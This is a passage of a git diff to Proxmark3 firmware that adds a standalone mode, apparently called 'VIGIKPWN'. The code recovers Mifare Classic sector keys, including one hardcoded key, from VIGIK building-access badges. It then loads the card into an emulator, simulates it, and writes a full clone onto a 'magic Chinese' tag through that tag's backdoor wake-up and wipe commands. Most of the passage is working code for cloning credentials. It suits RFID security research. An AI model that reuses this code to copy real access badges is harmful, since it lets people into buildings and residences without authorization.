"%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); + ; } t = 1; for (uint16_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { num_to_bytes(0x424c41524f4e, 6, foundKey[t][sectorNo]); - sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", - foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], - foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5] - ); - cmd_send(CMD_CJB_INFORM_CLIENT_KEY, 12, sectorNo, t, tosendkey, 12); + sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2], + foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]); + Dbprintf("SEC: %d ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t); } trapped = 1; break; + ////////////////END OF SCHEME 3////////////////////////////// } - /* etc etc for testing schemes quick schemes */ + /* etc etc for testing schemes quick schemes */ } } } - if (!allKeysFound) { - cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); - return; - } + if (!allKeysFound) { + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + Dbprintf("%s>> FAIL : did not found all the keys :'(%s", _RED_, _WHITE_); + return; + } - /* Settings keys to emulator */ - emlClearMem(); - uint8_t mblock[16]; - for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { - emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); - for (uint8_t t = 0; t < 2; t++) { - memcpy(mblock + t * 10, foundKey[t][sectorNo], 6); - } - emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + /* Settings keys to emulator */ + emlClearMem(); + uint8_t mblock[16]; + for (uint8_t sectorNo = 0; sectorNo < sectorsCnt; sectorNo++) { + emlGetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + for (uint8_t t = 0; t < 2; t++) { + memcpy(mblock + t * 10, foundKey[t][sectorNo], 6); } - Dbprintf("%c>>%c Setting Keys->Emulator MEM...[%cOK%c]", _YELLOW_, _WHITE_, _GREEN_, _WHITE_); + emlSetMem(mblock, FirstBlockOfSector(sectorNo) + NumBlocksPerSector(sectorNo) - 1, 1); + } + Dbprintf("%s>>%s Setting Keys->Emulator MEM...[%sOK%s]", _YELLOW_, _WHITE_, _GREEN_, _WHITE_); - /* filling TAG to emulator */ - uint8_t filled = 0 - Dbprintf("%c>>%c Filling Emulator <- from A keys...", _YELLOW_, _WHITE_); - /* no trace, no dbg */ - MifareECardLoad(sectorsCnt, 0, 0, &filled); - if (filled != 1) { - Dbprintf("%c>>%c W_FAILURE ! %cTrying fallback B keys....", _RED_, _ORANGE_, _WHITE_); + /* filling TAG to emulator */ + uint8_t filled = 0; + Dbprintf("%s>>%s Filling Emulator <- from A keys...", _YELLOW_, _WHITE_); + e_MifareECardLoad(sectorsCnt, 0, 0, &filled); + if (filled != 1) { + Dbprintf("%s>>%s W_FAILURE ! %sTrying fallback B keys....", _RED_, _ORANGE_, _WHITE_); - /* no trace, no dbg */ - MifareECardLoad(sectorsCnt, 1, 0, &filled); - if (filled != 1) { - Dbprintf("FATAL:EML_FALLBACKFILL_B"); - cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); - return; - } - } - end_time = GetTickCount(); - Dbprintf("%c>>%c Time for VIGIK break :%c%dms%c", _GREEN_, _WHITE_, _YELLOW_, end_time - start_time, _WHITE_); - cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + /* no trace, no dbg */ + e_MifareECardLoad(sectorsCnt, 1, 0, &filled); + if (filled != 1) { + Dbprintf("FATAL:EML_FALLBACKFILL_B"); + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); return; } } + end_time = GetTickCount(); + Dbprintf("%s>>%s Time for VIGIK break :%s%dms%s", _GREEN_, _WHITE_, _YELLOW_, end_time - start_time, _WHITE_); + // cmd_send(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0); + + // SIM ? + Dbprintf("-> We launch Emulation ->"); + Dbprintf("%s HOLD ON : %s When you'll click, simm will stop", _RED_, _WHITE_); + Dbprintf("Then %s immediately %s Well' try to %s dump our emulator state%s in a %s chinese tag%s", _RED_, _WHITE_, _YELLOW_, _WHITE_, _CYAN_, _WHITE_); + Dbprintf("SimulaWaiting..."); + Mifare1ksim(0, 0, 0, NULL); + Dbprintf("<- We're out of Emulation"); + // END SIM + + /*for (;;) { + WDT_HIT(); + + int button_action = BUTTON_HELD(500); + if (button_action == 0) { // No button action, proceed with sim + SpinDelay(100); + WDT_HIT(); + + } else if (button_action == BUTTON_SINGLE_CLICK) { + */ + + Dbprintf("Trying a clone !"); + saMifareMakeTag(); + Dbprintf("End Cloning."); + WDT_HIT(); + + // break; + /*} else if (button_action == BUTTON_HOLD) { + Dbprintf("Playtime over. Begin cloning..."); + iGotoClone = 1; + break; + }*/ + + // Debunk... + // SpinDelay(300); + Dbprintf("Endof Standalone ! You can take shell back"); + + return; +} + +/* + case CMD_SIMULATE_MIFARE_CARD: + Dbprintf("-> We launch Emulation ->"); + Mifare1ksim(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + Dbprintf("<- We're out of Emulation"); + break; + case CMD_CJB_EML_MEMGET: + CJBEMemGet(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + + // Work with "magic Chinese" card + case CMD_MIFARE_CSETBLOCK: + MifareCSetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + case CMD_MIFARE_CGETBLOCK: + MifareCGetBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); + break; + case CMD_MIFARE_CIDENT: + MifareCIdent(); + break; + // Work with "magic Chinese" card + case CMD_MIFARE_CSETBLOCK: + MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes); + break; + case CMD_MIFARE_CGETBLOCK: + MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes); + break; + case CMD_MIFARE_CIDENT: + MifareCIdent(); + break; +*/ + +/* Abusive microgain on original MifareECardLoad : + * - *datain used as error return + * - tracing is falsed + */ +void e_MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { + MF_DBGLEVEL = MF_DBG_NONE; + + uint8_t numSectors = arg0; + uint8_t keyType = arg1; + uint64_t ui64Key = 0; + // uint32_t cuid; + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + + byte_t dataoutbuf[16]; + byte_t dataoutbuf2[16]; + // uint8_t uid[10]; + + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + clear_trace(); + set_tracing(false); + + bool isOK = true; + iso14443a_fast_select_card(cjuid, 0); + + /* if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + isOK = false; + if (MF_DBGLEVEL >= 1) + Dbprintf("Can't select card"); +}*/ + + for (uint8_t sectorNo = 0; isOK && sectorNo < numSectors; sectorNo++) { + ui64Key = emlGetKey(sectorNo, keyType); + if (sectorNo == 0) { + if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_FIRST)) { + isOK = false; + if (MF_DBGLEVEL >= 1) + Dbprintf("Sector[%2d]. Auth error", sectorNo); + break; + } + } else { + if (isOK && mifare_classic_auth(pcs, cjcuid, FirstBlockOfSector(sectorNo), keyType, ui64Key, AUTH_NESTED)) { + isOK = false; + if (MF_DBGLEVEL >= 1) + Dbprintf("Sector[%2d]. Auth nested error", sectorNo); + break; + } + } + + for (uint8_t blockNo = 0; isOK && blockNo < NumBlocksPerSector(sectorNo); blockNo++) { + if (isOK && mifare_classic_readblock(pcs, cjcuid, FirstBlockOfSector(sectorNo) + blockNo, dataoutbuf)) { + isOK = false; + if (MF_DBGLEVEL >= 1) + Dbprintf("Error reading sector %2d block %2d", sectorNo, blockNo); + break; + }; + if (isOK) { + *datain = 1; + if (blockNo < NumBlocksPerSector(sectorNo) - 1) { + emlSetMem(dataoutbuf, FirstBlockOfSector(sectorNo) + blockNo, 1); + } else { // sector trailer, keep the keys, set only the AC + emlGetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1); + memcpy(&dataoutbuf2[6], &dataoutbuf[6], 4); + emlSetMem(dataoutbuf2, FirstBlockOfSector(sectorNo) + blockNo, 1); + } + } else { + *datain = 0; + } + } + } + + if (mifare_classic_halt(pcs, cjcuid)) { + if (MF_DBGLEVEL >= 1) + Dbprintf("Halt error"); + }; + + // ----------------------------- crypto1 destroy + crypto1_destroy(pcs); + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + + if (MF_DBGLEVEL >= 2) + DbpString("EMUL FILL SECTORS FINISHED"); +} + /* . . . */ /* the chk function is a piwi’ed(tm) check that will try all keys for a particular sector. also no tracing no dbg */ -int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t * datain, uint64_t *key) { +int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) { + MF_DBGLEVEL = MF_DBG_NONE; + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + set_tracing(false); + uint8_t uid[10]; + uint32_t cuid; + struct Crypto1State mpcs = {0, 0}; + struct Crypto1State *pcs; + pcs = &mpcs; + // byte_t isOK = 0; - MF_DBGLEVEL = MF_DBG_NONE; - iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); - set_tracing(FALSE); + for (int i = 0; i < keyCount; ++i) { + LEDsoff(); - for (i = 0; i < keyCount; ++i) { - /* no need for anticollision. just verify tag is still here */ - if (!iso14443a_select_card(uid, NULL, &cuid, true, 0 , true)) { - cjat91_printf("FATAL : E_MF_LOSTTAG"); - return -1; - } + /* no need for anticollision. just verify tag is still here */ + if (!iso14443a_fast_select_card(cjuid, 0)) { + // if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + Dbprintf("FATAL : E_MF_LOSTTAG"); + return -1; + } - uint64_t ui64Key = bytes_to_num(datain + i * 6, 6); - if (mifare_classic_auth(pcs, cuid, blockNo, keyType, ui64Key, AUTH_FIRST)) { + uint64_t ui64Key = bytes_to_num(datain + i * 6, 6); + if (mifare_classic_auth(pcs, cjcuid, blockNo, keyType, ui64Key, AUTH_FIRST)) { + uint8_t dummy_answer = 0; + ReaderTransmit(&dummy_answer, 1, NULL); + // wait for the card to become ready again + SpinDelayUs(AUTHENTICATION_TIMEOUT); + continue; + } + LED_A_ON(); + crypto1_destroy(pcs); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + *key = ui64Key; + return i; + } + LED_A_ON(); + crypto1_destroy(pcs); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + return -1; +} + +void saMifareMakeTag(void) { + // uint8_t cfail = 0; + Dbprintf(">> Write to Special"); + int flags = 0; + LED_A_ON(); // yellow + for (int blockNum = 0; blockNum < 16 * 4; blockNum++) { + uint8_t mblock[16]; + // cnt = 0; + emlGetMem(mblock, blockNum, 1); + // switch on field and send magic sequence + if (blockNum == 0) + flags = 0x08 + 0x02; + + // just write + if (blockNum == 1) + flags = 0; + + // Done. Magic Halt and switch off field. + if (blockNum == 16 * 4 - 1) + flags = 0x04 + 0x10; + + if (saMifareCSetBlock(0, flags & 0xFE, blockNum, mblock)) { //&& cnt <= retry) { + // cnt++; + Dbprintf("Block :%d %sOK%s", blockNum, _GREEN_, _WHITE_); + // Dbprintf("FATAL:E_MF_CHINESECOOK_NORICE"); + // cfail=1; + // return; + continue; + } else { + Dbprintf("%sFAIL%s : CHN_FAIL_BLK_%d_NOK", _RED_, _WHITE_, blockNum); + break; + } + Dbprintf("%s>>>>>>>> END <<<<<<<<%s", _YELLOW_, _WHITE_); + // break; + /*if (cfail == 1) { + Dbprintf("FATAL: E_MF_HARA_KIRI_\r\n"); + break; + } */ + } +} + +//----------------------------------------------------------------------------- +// Matt's StandAlone mod. +// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn) +//----------------------------------------------------------------------------- +int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) { + + // params + uint8_t needWipe = arg0; + // bit 0 - need get UID + // bit 1 - need wupC + // bit 2 - need HALT after sequence + // bit 3 - need init FPGA and field before sequence + // bit 4 - need reset FPGA and LED + uint8_t workFlags = arg1; + uint8_t blockNo = arg2; + + // card commands + uint8_t wupC1[] = {0x40}; + uint8_t wupC2[] = {0x43}; + uint8_t wipeC[] = {0x41}; + + // variables + byte_t isOK = 0; + uint8_t uid[10] = {0x00}; + uint8_t d_block[18] = {0x00}; + uint32_t cuid; + + uint8_t receivedAnswer[MAX_MIFARE_FRAME_SIZE]; + uint8_t receivedAnswerPar[MAX_MIFARE_PARITY_SIZE]; + + // reset FPGA and LED + if (workFlags & 0x08) { + LED_A_ON(); + LED_B_OFF(); + LED_C_OFF(); + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + + // clear_trace(); + set_tracing(FALSE); + } + + while (true) { + + // get UID from chip + if (workFlags & 0x01) { + if (!iso14443a_fast_select_card(cjuid, 0)) { + + // if (!iso14443a_select_card(uid, NULL, &cuid, true, 0, true)) { + if (MF_DBGLEVEL >= 1) + Dbprintf("Can't select card"); + break; + }; + + if (mifare_classic_halt(NULL, cjcuid)) { + if (MF_DBGLEVEL >= 1) + Dbprintf("Halt error"); + break; + }; + }; + + // reset chip + if (needWipe) { + ReaderTransmitBitsPar(wupC1, 7, 0, NULL); + if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + Dbprintf("wupC1 error"); + break; + }; + + ReaderTransmit(wipeC, sizeof(wipeC), NULL); + if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + if (MF_DBGLEVEL >= 1) + Dbprintf("wipeC error"); + break; + }; + + if (mifare_classic_halt(NULL, cjcuid)) { + if (MF_DBGLEVEL >= 1) + Dbprintf("Halt error"); + break; + }; + }; + + // chaud + // write block + if (workFlags & 0x02) { + ReaderTransmitBitsPar(wupC1, 7, 0, NULL); + if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + Dbprintf("wupC1 error"); + break; + }; + + ReaderTransmit(wupC2, sizeof(wupC2), NULL); + if (!ReaderReceive(receivedAnswer, receivedAnswerPar) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + Dbprintf("wupC2 error"); + break; + }; + } + + if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + Dbprintf("write block send command error"); + break; + }; + + memcpy(d_block, datain, 16); + AppendCrc14443a(d_block, 16); + ReaderTransmit(d_block, sizeof(d_block), NULL); + if ((ReaderReceive(receivedAnswer, receivedAnswerPar) != 1) || (receivedAnswer[0] != 0x0a)) { + // if (MF_DBGLEVEL >= 1) + Dbprintf("write block send data error"); + break; + }; + + if (workFlags & 0x04) { + if (mifare_classic_halt(NULL, cjcuid)) { + // if (MF_DBGLEVEL >= 1) + Dbprintf("Halt error"); + break; + }; + } + + isOK = 1; + break; + } + + if ((workFlags & 0x10) || (!isOK)) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + } + + return isOK; +} - uint8_t dummy_answer = 0; - ReaderTransmit(&dummy_answer, 1, NULL); - // wait for the card to become ready again - SpinDelayUs(AUTHENTICATION_TIMEOUT); - - continue; - } - isOK = 1; - crypto1_destroy(pcs); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - *key = ui64Key; - return i; - } - crypto1_destroy(pcs); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - return -1; -} \ No newline at end of file diff --git a/armsrc/Standalone/hf_colin.h b/armsrc/Standalone/hf_colin.h index fa419de3f..c39d18482 100644 --- a/armsrc/Standalone/hf_colin.h +++ b/armsrc/Standalone/hf_colin.h @@ -12,10 +12,50 @@ #ifndef __HF_COLIN_H #define __HF_COLIN_H -#include // for bool -#include "standalone.h" // standalone definitions #include "iso14443a.h" +//#include "printf.h" #include "protocols.h" - +#include "standalone.h" // standalone definitions +#include // for bool + +#define _RED_ "\x1b[31m" +#define _GREEN_ "\x1b[32m" +#define _YELLOW_ "\x1b[33m" +#define _BLUE_ "\x1b[34m" +#define _MAGENTA_ "\x1b[35m" +#define _CYAN_ "\x1b[36m" +#define _WHITE_ "\x1b[0m" +#define _ORANGE_ _YELLOW_ + +/* +#define _WHITE_ 0xc0 +#define _GREEN_ 0xc1 +#define _RED_ 0xc2 +#define _BLUE_ 0xc3 +#define _YELLOW_ 0xc4 +#define _ORANGE_ 0xc5 +#define _CYAN_ 0xc6 +*/ +/* +#define BRIGHT 1 +#define RED 31 +#define BG_BLACK 40 +printf("%c[%d;%d;%dmHello World", 0x1B, BRIGHT, RED, BG_BLACK); +*/ +/* +#define _ESC_ 0x1B +#define _WHITE_ 0xc0 +#define _GREEN_ 0xc1 +#define _RED_ 0xc2 +#define _BLUE_ 0xc3 +#define _YELLOW_ 0xc4 +#define _ORANGE_ 0xc5 +#define _CYAN_ 0xc6 +*/ + +int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key); +void e_MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void saMifareMakeTag(void); +int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); #endif /* __HF_COLIN_H */ \ No newline at end of file diff --git a/armsrc/appmain.c b/armsrc/appmain.c index b340fc785..46a1a3439 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -144,7 +144,8 @@ void Dbhexdump(int len, uint8_t *d, bool bAsci) { // filter safe ascii for (i=0; i126) ascii[i]='.'; + if (ascii[i] < 32 || ascii[i] > 126) + ascii[i] = '.'; if (bAsci) Dbprintf("%-8s %*D",ascii,l,d," "); @@ -165,8 +166,7 @@ static int ReadAdc(int ch) { uint32_t d; AT91C_BASE_ADC->ADC_CR = AT91C_ADC_SWRST; - AT91C_BASE_ADC->ADC_MR = - ADC_MODE_PRESCALE(63 /* was 32 */) | // ADC_CLK = MCK / ((63+1) * 2) = 48MHz / 128 = 375kHz + AT91C_BASE_ADC->ADC_MR = ADC_MODE_PRESCALE(63 /* was 32 */) | // ADC_CLK = MCK / ((63+1) * 2) = 48MHz / 128 = 375kHz ADC_MODE_STARTUP_TIME(1 /* was 16 */) | // Startup Time = (1+1) * 8 / ADC_CLK = 16 / 375kHz = 42,7us Note: must be > 20us ADC_MODE_SAMPLE_HOLD_TIME(15 /* was 8 */); // Sample & Hold Time SHTIM = 15 / ADC_CLK = 15 / 375kHz = 40us @@ -227,8 +227,10 @@ void MeasureAntennaTuning(void) { FpgaSendCommand(FPGA_CMD_SET_DIVISOR, i); SpinDelay(20); adcval = ((MAX_ADC_LF_VOLTAGE * AvgAdc(ADC_CHAN_LF)) >> 10); - if (i==95) vLf125 = adcval; // voltage at 125Khz - if (i==89) vLf134 = adcval; // voltage at 134Khz + if (i == 95) + vLf125 = adcval; // voltage at 125Khz + if (i == 89) + vLf134 = adcval; // voltage at 134Khz LF_Results[i] = adcval >> 8; // scale int to fit in byte for graphing purposes if(LF_Results[i] > peak) { @@ -269,8 +271,7 @@ void MeasureAntennaTuningHf(void) { void ReadMem(int addr) { const uint8_t *data = ((uint8_t *)addr); - Dbprintf("%x: %02x %02x %02x %02x %02x %02x %02x %02x", - addr, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]); + Dbprintf("%x: %02x %02x %02x %02x %02x %02x %02x %02x", addr, data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7]); } /* osimage version information is linked in */ @@ -339,9 +340,7 @@ void printUSBSpeed(void) { Dbprintf(" Time elapsed............%dms", end_time - start_time); Dbprintf(" Bytes transferred.......%d", bytes_transferred); - Dbprintf(" USB Transfer Speed PM3 -> Client = %d Bytes/s", - 1000 * bytes_transferred / (end_time - start_time)); - + Dbprintf(" USB Transfer Speed PM3 -> Client = %d Bytes/s", 1000 * bytes_transferred / (end_time - start_time)); } /** @@ -400,6 +399,9 @@ void printStandAloneModes(void) { #if defined(WITH_HF_MATTYRUN) DbpString(" HF Mifare sniff/clone - aka MattyRun (Matta Real)"); #endif +#if defined(WITH_HF_COLIN) + DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)"); +#endif DbpString("Running "); //Dbprintf(" Is Device attached to USB| %s", USB_ATTACHED() ? "Yes" : "No"); @@ -650,7 +652,8 @@ void UsbPacketReceived(uint8_t *packet, int len) { ReadPCF7931(); break; case CMD_PCF7931_WRITE: - WritePCF7931(c->d.asBytes[0],c->d.asBytes[1],c->d.asBytes[2],c->d.asBytes[3],c->d.asBytes[4],c->d.asBytes[5],c->d.asBytes[6], c->d.asBytes[9], c->d.asBytes[7]-128,c->d.asBytes[8]-128, c->arg[0], c->arg[1], c->arg[2]); + WritePCF7931(c->d.asBytes[0], c->d.asBytes[1], c->d.asBytes[2], c->d.asBytes[3], c->d.asBytes[4], c->d.asBytes[5], c->d.asBytes[6], c->d.asBytes[9], + c->d.asBytes[7] - 128, c->d.asBytes[8] - 128, c->arg[0], c->arg[1], c->arg[2]); break; case CMD_EM4X_READ_WORD: EM4xReadWord(c->arg[0], c->arg[1], c->arg[2]); @@ -690,9 +693,8 @@ void UsbPacketReceived(uint8_t *packet, int len) { break; case CMD_WR_HITAG_S: //writer for Hitag tags args=data to write,page and key or challenge if ((hitag_function)c->arg[0] < 10) { - WritePageHitagS((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes,c->arg[2]); - } - else if ((hitag_function)c->arg[0] >= 10) { + WritePageHitagS((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes,c->arg[2]); + } else if ((hitag_function)c->arg[0] >= 10) { WriterHitag((hitag_function)c->arg[0],(hitag_data*)c->d.asBytes, c->arg[2]); } break; @@ -869,8 +871,10 @@ void UsbPacketReceived(uint8_t *packet, int len) { break; //mifare desfire - case CMD_MIFARE_DESFIRE_READBL: break; - case CMD_MIFARE_DESFIRE_WRITEBL: break; + case CMD_MIFARE_DESFIRE_READBL: + break; + case CMD_MIFARE_DESFIRE_WRITEBL: + break; case CMD_MIFARE_DESFIRE_AUTH1: MifareDES_Auth1(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); break; @@ -1111,7 +1115,8 @@ void UsbPacketReceived(uint8_t *packet, int len) { case CMD_DEVICE_INFO: { uint32_t dev_info = DEVICE_INFO_FLAG_OSIMAGE_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_OS; - if(common_area.flags.bootrom_present) dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT; + if (common_area.flags.bootrom_present) + dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT; cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0); break; } @@ -1136,6 +1141,8 @@ void __attribute__((noreturn)) AppMain(void) { LEDsoff(); + usb_enable(); + // The FPGA gets its clock from us from PCK0 output, so set that up. AT91C_BASE_PIOA->PIO_BSR = GPIO_PCK0; AT91C_BASE_PIOA->PIO_PDR = GPIO_PCK0; @@ -1155,8 +1162,6 @@ void __attribute__((noreturn)) AppMain(void) { StartTickCount(); - // Init USB device - usb_enable(); #ifdef WITH_LCD LCDInit();